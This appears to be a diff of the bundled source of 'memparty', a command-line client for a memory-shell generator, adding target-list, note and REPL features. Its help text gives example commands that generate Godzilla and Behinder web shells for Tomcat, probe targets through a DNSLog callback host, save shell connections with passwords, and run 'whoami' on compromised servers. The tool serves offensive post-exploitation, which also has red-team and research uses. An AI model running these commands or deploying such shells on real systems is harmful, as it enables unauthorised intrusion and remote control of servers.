writing")).addOption(new Option5("--no-decode", "do not base64-decode the payload")).option("--json", "print the full JSON response instead of just the payload").option("-i, --interactive", "force the interactive wizard").option("--no-interactive", "never launch the wizard; error on missing flags").addHelpText(
|
|
2697
|
+
"after",
|
|
2698
|
+
`
|
|
2699
|
+
Examples:
|
|
2700
|
+
$ memparty probe # interactive wizard
|
|
2701
|
+
$ memparty probe -m ResponseBody -c Command -p DefaultBase64 \\
|
|
2702
|
+
--server Tomcat --req-param-name cmd
|
|
2703
|
+
$ memparty probe -m DNSLog -c Server -p DefaultBase64 --host x.dnslog.cn
|
|
2704
|
+
$ memparty probe -m Sleep -c Server -p DefaultBase64 \\
|
|
2705
|
+
--sleep-server Tomcat --seconds 5
|
|
2706
|
+
|
|
2707
|
+
Note: a probe is a detection shell that reports what the target supports.
|
|
2708
|
+
The server name reported by '-c Server' is the value to pass as
|
|
2709
|
+
'memparty gen -s'.
|
|
2710
|
+
`
|
|
2711
|
+
).action(async (opts, cmd) => {
|
|
2592
2712
|
const client = createClient(cmd.optsWithGlobals());
|
|
2593
2713
|
const missing = REQUIRED2.filter((k) => !opts[k]);
|
|
2594
2714
|
const stdinIsTty = Boolean(process.stdin.isTTY);
|
|
@@ -2681,11 +2801,37 @@ function parseRef(ref) {
|
|
|
2681
2801
|
if (slash === -1) return { project: ref };
|
|
2682
2802
|
return { project: ref.slice(0, slash), shell: ref.slice(slash + 1) };
|
|
2683
2803
|
}
|
|
2684
|
-
function
|
|
2685
|
-
const
|
|
2686
|
-
|
|
2804
|
+
function listTargets(opts) {
|
|
2805
|
+
const all = listProjects();
|
|
2806
|
+
const names = Object.keys(all).filter(
|
|
2807
|
+
(n) => opts.category === void 0 || all[n].category === opts.category
|
|
2687
2808
|
);
|
|
2688
|
-
|
|
2809
|
+
if (opts.json) {
|
|
2810
|
+
const filtered = {};
|
|
2811
|
+
for (const n of names) filtered[n] = all[n];
|
|
2812
|
+
process.stdout.write(`${JSON.stringify(filtered, null, 2)}
|
|
2813
|
+
`);
|
|
2814
|
+
return;
|
|
2815
|
+
}
|
|
2816
|
+
if (names.length === 0) {
|
|
2817
|
+
process.stdout.write(`no saved projects (store: ${targetStorePath()})
|
|
2818
|
+
`);
|
|
2819
|
+
return;
|
|
2820
|
+
}
|
|
2821
|
+
for (const name of names) {
|
|
2822
|
+
const p = all[name];
|
|
2823
|
+
const meta = [p.category ? `[${p.category}]` : void 0, p.remark].filter(Boolean).join(" ");
|
|
2824
|
+
process.stdout.write(`${name}${meta ? ` ${meta}` : ""}
|
|
2825
|
+
`);
|
|
2826
|
+
for (const [shellName, s] of Object.entries(p.shells)) {
|
|
2827
|
+
const line = ` ${name}/${shellName} ${s.tool} ${s.url}`;
|
|
2828
|
+
process.stdout.write(`${line}${s.remark ? ` \u2014 ${s.remark}` : ""}
|
|
2829
|
+
`);
|
|
2830
|
+
}
|
|
2831
|
+
}
|
|
2832
|
+
}
|
|
2833
|
+
function registerTargetCommand(program) {
|
|
2834
|
+
program.command("save").description(
|
|
2689
2835
|
"Save a shell connection profile as <project>/<shell> (overwrites an existing shell)"
|
|
2690
2836
|
).argument("<ref>", "shell reference: <project>/<shell>").requiredOption("-u, --url <url>", "URL of the deployed shell").addOption(
|
|
2691
2837
|
new Option6("-t, --tool <tool>", "shell tool").choices(["godzilla", "behinder", "suo5"])
|
|
@@ -2693,10 +2839,14 @@ function registerTargetCommand(program) {
|
|
|
2693
2839
|
"after",
|
|
2694
2840
|
`
|
|
2695
2841
|
Examples:
|
|
2696
|
-
$ memparty
|
|
2842
|
+
$ memparty save hw222/bh9060 -u http://192.168.31.222:9060/console/service \\
|
|
2697
2843
|
-t behinder --pass rebeyond --header-name User-Agent --header-value YdwTyuQr \\
|
|
2698
2844
|
--remark "\u5185\u7F51\u6D4B\u8BD5\u73AF\u5883" --category test
|
|
2845
|
+
$ memparty list # show saved targets
|
|
2699
2846
|
$ memparty exec hw222/bh9060 --cmd "whoami"
|
|
2847
|
+
|
|
2848
|
+
Note: connect/exec already auto-save a verified shell as <host>/<tool>;
|
|
2849
|
+
save is for choosing the name by hand.
|
|
2700
2850
|
`
|
|
2701
2851
|
).action((ref, opts) => {
|
|
2702
2852
|
const { project, shell } = parseRef(ref);
|
|
@@ -2729,7 +2879,7 @@ Examples:
|
|
|
2729
2879
|
};
|
|
2730
2880
|
const stored = saveShell(project, shell, input3);
|
|
2731
2881
|
logOp({
|
|
2732
|
-
category: "
|
|
2882
|
+
category: "save",
|
|
2733
2883
|
action: "save",
|
|
2734
2884
|
targetName: `${project}/${shell}`,
|
|
2735
2885
|
url: stored.url,
|
|
@@ -2754,7 +2904,7 @@ Examples:
|
|
|
2754
2904
|
);
|
|
2755
2905
|
}
|
|
2756
2906
|
});
|
|
2757
|
-
|
|
2907
|
+
program.command("note").description("Set a remark/category on a project, or a remark on a shell (<project>[/<shell>])").argument("<ref>", "project name or <project>/<shell>").option("--remark <text>", 'remark ("" to clear)').option("--category <name>", 'project category ("" to clear; projects only)').action((ref, opts) => {
|
|
2758
2908
|
const { project, shell } = parseRef(ref);
|
|
2759
2909
|
if (shell) {
|
|
2760
2910
|
if (opts.category !== void 0) {
|
|
@@ -2769,7 +2919,7 @@ Examples:
|
|
|
2769
2919
|
}
|
|
2770
2920
|
const updated2 = saveShellMeta(project, shell, { remark: opts.remark });
|
|
2771
2921
|
logOp({
|
|
2772
|
-
category: "
|
|
2922
|
+
category: "note",
|
|
2773
2923
|
action: "note",
|
|
2774
2924
|
targetName: `${project}/${shell}`,
|
|
2775
2925
|
ok: true,
|
|
@@ -2796,7 +2946,7 @@ Examples:
|
|
|
2796
2946
|
category: opts.category
|
|
2797
2947
|
});
|
|
2798
2948
|
logOp({
|
|
2799
|
-
category: "
|
|
2949
|
+
category: "note",
|
|
2800
2950
|
action: "note",
|
|
2801
2951
|
targetName: project,
|
|
2802
2952
|
ok: true,
|
|
@@ -2807,40 +2957,12 @@ Examples:
|
|
|
2807
2957
|
`
|
|
2808
2958
|
);
|
|
2809
2959
|
});
|
|
2810
|
-
|
|
2811
|
-
|
|
2812
|
-
const names = Object.keys(all).filter(
|
|
2813
|
-
(n) => opts.category === void 0 || all[n].category === opts.category
|
|
2814
|
-
);
|
|
2815
|
-
if (opts.json) {
|
|
2816
|
-
const filtered = {};
|
|
2817
|
-
for (const n of names) filtered[n] = all[n];
|
|
2818
|
-
process.stdout.write(`${JSON.stringify(filtered, null, 2)}
|
|
2819
|
-
`);
|
|
2820
|
-
return;
|
|
2821
|
-
}
|
|
2822
|
-
if (names.length === 0) {
|
|
2823
|
-
process.stdout.write(`no saved projects (store: ${targetStorePath()})
|
|
2824
|
-
`);
|
|
2825
|
-
return;
|
|
2826
|
-
}
|
|
2827
|
-
for (const name of names) {
|
|
2828
|
-
const p = all[name];
|
|
2829
|
-
const meta = [p.category ? `[${p.category}]` : void 0, p.remark].filter(Boolean).join(" ");
|
|
2830
|
-
process.stdout.write(`${name}${meta ? ` ${meta}` : ""}
|
|
2831
|
-
`);
|
|
2832
|
-
for (const [shellName, s] of Object.entries(p.shells)) {
|
|
2833
|
-
const line = ` ${name}/${shellName} ${s.tool} ${s.url}`;
|
|
2834
|
-
process.stdout.write(`${line}${s.remark ? ` \u2014 ${s.remark}` : ""}
|
|
2835
|
-
`);
|
|
2836
|
-
}
|
|
2837
|
-
}
|
|
2838
|
-
});
|
|
2839
|
-
target.command("remove").description("Remove a whole project or a single shell (<project>[/<shell>])").argument("<ref>", "project name or <project>/<shell>").action((ref) => {
|
|
2960
|
+
program.command("list").description("List saved projects and their shells").option("--category <name>", "only show projects in this category").option("--json", "output raw JSON").action(listTargets);
|
|
2961
|
+
program.command("remove").description("Remove a whole project or a single shell (<project>[/<shell>])").argument("<ref>", "project name or <project>/<shell>").action((ref) => {
|
|
2840
2962
|
const { project, shell } = parseRef(ref);
|
|
2841
2963
|
const removed = shell ? removeShell(project, shell) : removeProject(project);
|
|
2842
2964
|
logOp({
|
|
2843
|
-
category: "
|
|
2965
|
+
category: "remove",
|
|
2844
2966
|
action: "remove",
|
|
2845
2967
|
targetName: ref,
|
|
2846
2968
|
ok: removed,
|
|
@@ -2886,13 +3008,130 @@ function registerVersionCommand(program) {
|
|
|
2886
3008
|
});
|
|
2887
3009
|
}
|
|
2888
3010
|
|
|
3011
|
+
// src/repl.ts
|
|
3012
|
+
import * as readline from "readline";
|
|
3013
|
+
import { CommanderError } from "commander";
|
|
3014
|
+
function tokenize(line) {
|
|
3015
|
+
const tokens = [];
|
|
3016
|
+
let cur = "";
|
|
3017
|
+
let quote = null;
|
|
3018
|
+
let started = false;
|
|
3019
|
+
for (const ch of line) {
|
|
3020
|
+
if (quote !== null) {
|
|
3021
|
+
if (ch === quote) quote = null;
|
|
3022
|
+
else cur += ch;
|
|
3023
|
+
} else if (ch === '"' || ch === "'") {
|
|
3024
|
+
quote = ch;
|
|
3025
|
+
started = true;
|
|
3026
|
+
} else if (/\s/.test(ch)) {
|
|
3027
|
+
if (started || cur.length > 0) {
|
|
3028
|
+
tokens.push(cur);
|
|
3029
|
+
cur = "";
|
|
3030
|
+
started = false;
|
|
3031
|
+
}
|
|
3032
|
+
} else {
|
|
3033
|
+
cur += ch;
|
|
3034
|
+
}
|
|
3035
|
+
}
|
|
3036
|
+
if (started || cur.length > 0) tokens.push(cur);
|
|
3037
|
+
return tokens;
|
|
3038
|
+
}
|
|
3039
|
+
async function startRepl(build) {
|
|
3040
|
+
process.stdout.write(
|
|
3041
|
+
`memparty ${CLI_VERSION} \u2014 interactive mode. Type 'help' for commands, 'exit' to quit.
|
|
3042
|
+
`
|
|
3043
|
+
);
|
|
3044
|
+
const rl = readline.createInterface({
|
|
3045
|
+
input: process.stdin,
|
|
3046
|
+
output: process.stdout,
|
|
3047
|
+
terminal: process.stdin.isTTY === true,
|
|
3048
|
+
historySize: 200
|
|
3049
|
+
});
|
|
3050
|
+
const pending = [];
|
|
3051
|
+
let waiter = null;
|
|
3052
|
+
let closed = false;
|
|
3053
|
+
rl.on("line", (line) => {
|
|
3054
|
+
if (waiter) {
|
|
3055
|
+
const w = waiter;
|
|
3056
|
+
waiter = null;
|
|
3057
|
+
w(line);
|
|
3058
|
+
} else {
|
|
3059
|
+
pending.push(line);
|
|
3060
|
+
}
|
|
3061
|
+
});
|
|
3062
|
+
rl.on("close", () => {
|
|
3063
|
+
closed = true;
|
|
3064
|
+
waiter?.(null);
|
|
3065
|
+
});
|
|
3066
|
+
const isTty = process.stdin.isTTY === true;
|
|
3067
|
+
rl.setPrompt("memparty> ");
|
|
3068
|
+
const ask = () => {
|
|
3069
|
+
if (isTty) rl.prompt();
|
|
3070
|
+
const buffered = pending.shift();
|
|
3071
|
+
if (buffered !== void 0) return Promise.resolve(buffered);
|
|
3072
|
+
if (closed) return Promise.resolve(null);
|
|
3073
|
+
return new Promise((resolve) => {
|
|
3074
|
+
waiter = resolve;
|
|
3075
|
+
});
|
|
3076
|
+
};
|
|
3077
|
+
for (; ; ) {
|
|
3078
|
+
const line = await ask();
|
|
3079
|
+
if (line === null) break;
|
|
3080
|
+
const tokens = tokenize(line);
|
|
3081
|
+
if (tokens.length === 0) continue;
|
|
3082
|
+
const [cmd, ...rest] = tokens;
|
|
3083
|
+
if (cmd === "exit" || cmd === "quit") break;
|
|
3084
|
+
if (cmd === "clear") {
|
|
3085
|
+
process.stdout.write("\x1B[2J\x1B[0f");
|
|
3086
|
+
continue;
|
|
3087
|
+
}
|
|
3088
|
+
if (cmd === "help") {
|
|
3089
|
+
if (rest.length === 0) {
|
|
3090
|
+
build().outputHelp();
|
|
3091
|
+
continue;
|
|
3092
|
+
}
|
|
3093
|
+
tokens.push("--help");
|
|
3094
|
+
}
|
|
3095
|
+
rl.pause();
|
|
3096
|
+
try {
|
|
3097
|
+
await build().parseAsync(["node", "memparty", ...tokens]);
|
|
3098
|
+
} catch (err) {
|
|
3099
|
+
if (err instanceof CommanderError) {
|
|
3100
|
+
} else if (err instanceof ApiError) {
|
|
3101
|
+
reportError(`API error (${err.status || "network"}): ${err.message}`, tokens);
|
|
3102
|
+
} else if (err instanceof Error) {
|
|
3103
|
+
if (err.name === "ExitPromptError") process.stderr.write("\nAborted.\n");
|
|
3104
|
+
else reportError(err.message, tokens);
|
|
3105
|
+
} else {
|
|
3106
|
+
reportError(String(err), tokens);
|
|
3107
|
+
}
|
|
3108
|
+
}
|
|
3109
|
+
process.exitCode = 0;
|
|
3110
|
+
rl.resume();
|
|
3111
|
+
}
|
|
3112
|
+
rl.close();
|
|
3113
|
+
}
|
|
3114
|
+
|
|
2889
3115
|
// src/cli.ts
|
|
2890
3116
|
function buildProgram() {
|
|
2891
|
-
const program = new
|
|
3117
|
+
const program = new Command8();
|
|
2892
3118
|
program.name("memparty").description("CLI + MCP client for MemShellParty (party.mem.mk)").version(CLI_VERSION, "-v, --version", "output the CLI version").option(
|
|
2893
3119
|
"--api <url>",
|
|
2894
3120
|
`MemShellParty backend URL (env ${ENV_VAR}, default ${DEFAULT_API_URL})`
|
|
2895
|
-
).option("--timeout <ms>", "request timeout in milliseconds", "30000")
|
|
3121
|
+
).option("--timeout <ms>", "request timeout in milliseconds", "30000").exitOverride().addHelpText(
|
|
3122
|
+
"after",
|
|
3123
|
+
`
|
|
3124
|
+
Quick start:
|
|
3125
|
+
$ memparty gen # interactive memory-shell wizard
|
|
3126
|
+
$ memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 -o shell.class
|
|
3127
|
+
$ memparty connect -u http://192.0.2.1/shell.jsp -t godzilla --header-value qSGAJScj
|
|
3128
|
+
$ memparty exec 192.0.2.1/godzilla --cmd whoami # auto-saved by a successful connect
|
|
3129
|
+
$ memparty list # saved targets
|
|
3130
|
+
$ memparty log # recent operations
|
|
3131
|
+
|
|
3132
|
+
Every subcommand has its own examples: memparty <command> --help
|
|
3133
|
+
`
|
|
3134
|
+
);
|
|
2896
3135
|
registerGenCommand(program);
|
|
2897
3136
|
registerProbeCommand(program);
|
|
2898
3137
|
registerConfigCommand(program);
|
|
@@ -2906,26 +3145,29 @@ function buildProgram() {
|
|
|
2906
3145
|
return program;
|
|
2907
3146
|
}
|
|
2908
3147
|
async function main() {
|
|
3148
|
+
if (process.argv.length <= 2 && (process.stdin.isTTY || process.env.MEMPARTY_REPL)) {
|
|
3149
|
+
await startRepl(buildProgram);
|
|
3150
|
+
return;
|
|
3151
|
+
}
|
|
2909
3152
|
const program = buildProgram();
|
|
2910
3153
|
try {
|
|
2911
3154
|
await program.parseAsync(process.argv);
|
|
2912
3155
|
} catch (err) {
|
|
2913
|
-
if (err instanceof
|
|
2914
|
-
process.
|
|
2915
|
-
|
|
3156
|
+
if (err instanceof CommanderError2) {
|
|
3157
|
+
process.exitCode = err.exitCode;
|
|
3158
|
+
} else if (err instanceof ApiError) {
|
|
3159
|
+
reportError(`API error (${err.status || "network"}): ${err.message}`, process.argv);
|
|
2916
3160
|
process.exitCode = 1;
|
|
2917
3161
|
} else if (err instanceof Error) {
|
|
2918
3162
|
if (err.name === "ExitPromptError") {
|
|
2919
3163
|
process.stderr.write("\nAborted.\n");
|
|
2920
3164
|
process.exitCode = 130;
|
|
2921
3165
|
} else {
|
|
2922
|
-
|
|
2923
|
-
`);
|
|
3166
|
+
reportError(err.message, process.argv);
|
|
2924
3167
|
process.exitCode = 1;
|
|
2925
3168
|
}
|
|
2926
3169
|
} else {
|
|
2927
|
-
|
|
2928
|
-
`);
|
|
3170
|
+
reportError(String(err), process.argv);
|
|
2929
3171
|
process.exitCode = 1;
|
|
2930
3172
|
}
|
|
2931
3173
|
}
|